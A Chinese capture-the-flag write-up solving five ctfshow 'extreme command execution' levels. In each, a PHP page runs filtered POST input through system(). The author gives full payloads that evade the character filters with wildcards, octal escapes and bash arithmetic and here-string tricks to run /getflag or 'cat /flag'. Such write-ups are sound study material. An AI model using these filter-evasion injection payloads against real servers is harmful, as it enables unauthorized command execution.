ctfshow-极限命令执行复现
极限命令执行1
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
查看可用字符
!$'(),./0123456789=?\a~
字母a和?可用使用,那么这里可用使用通配符去绕过进行命令执行
payload:
ctf_show=/bin/base /flag
ctf_show=/???/?a??64%09/??a?
极限命令执行2
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
这里?被ban了,那么通配符绕过就不能在使了,这里可以使用编码绕过
由于字母被ban,只有数字可以使用那么我们可以使用数字编码来进行绕过
用数字编码去执行命令
可以看到可以成功执行
构造payload
ctf_show=$'\57\147\145\164\146\154\141\147'
极限命令执行3
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
经过测试,字母和除了01的其他数字都给过滤了
那么上一道题的编码绕过的payload就不能直接使用了
要想办法通过01把其他数字给构造出来,从而绕过waf
这里需要先理解bash的整数表达形式:
比如说十进制数4,其二进制表示为100在bash里面可以使用2#100来表示
那么通过这种方式我们可以把其他数字构造出来,但是2同样也是不能够使用的,那我们要先把2构造出来
这里<和>并没有被禁止,我们可以使用位运算去构造出2
那么通过这两种方法我们就可以去构造出其他数字
那么我们这里可以构造出ls
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
执行
可以看到已经成功将其解析为\154\163,但是没有进行进一步的解析,也就是进行bash的解析处理转换为ls
那么这里要借用bash的一个语法
<<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin
那么可以把字符串当作$0(bash)的stdin就可以进行进一步解析
但是在测试执行cat /flag时却出现了报错
发现并没有执行成功,这是因为bash不能执行带参数的命令,他把我们输入的进行解析后当成一串字符串去解析了,也就是把cat /flag当成一串f字符串去执行,导致命令没有执行成功
bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析
那我们可以使用两次here-strings,使其成为标准输入去执行这个复杂命令
构造payload:
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
本地测试
执行成功
极限命令执行4
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
还是同上面一样的题,但是这里对数字1也进行了过滤,那么我们上面用数字去构造其他数字的方法就受到了限制,那我们要其他方法把1构造出来。
这里可以使用简单替换将1替换为${##}
${##}: 第一个#是计算字符长度,第二个#是字符串的名字。
看一下$#的值:
0的长度为1,那么我们就可以构造出1了。
把上道题目的payload中的1都替换成${##}
那么我们就可以绕过1去构造paylaod:
ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
本地测试
执行成功
极限命令执行5
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
这里把0也进行了过滤,那么同样的要使用其他方法讲0构造出来,然后通过构造出来的0,去构造其他数字
这里通过${{!xxx}}的用法把$0也就是bash构造出来
那通过这样的方法我们只需要构造一个值为0的变量
在liunx中$(()),代表的是一种算术位运算
例如
这样就可以把0构造出来
然后通过上面的方法就可以把bash构出来
然后就是其他数字的构造
这里使用位取反来构造其他数字
上面我们已经成功构造出了0,对0进行按位取反可以得到-1
多个1进行排列可以得到其他数字
可以看到可以成功构造出其他数字
那么我们就可以利用这些方法就构造之前利用的payload
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'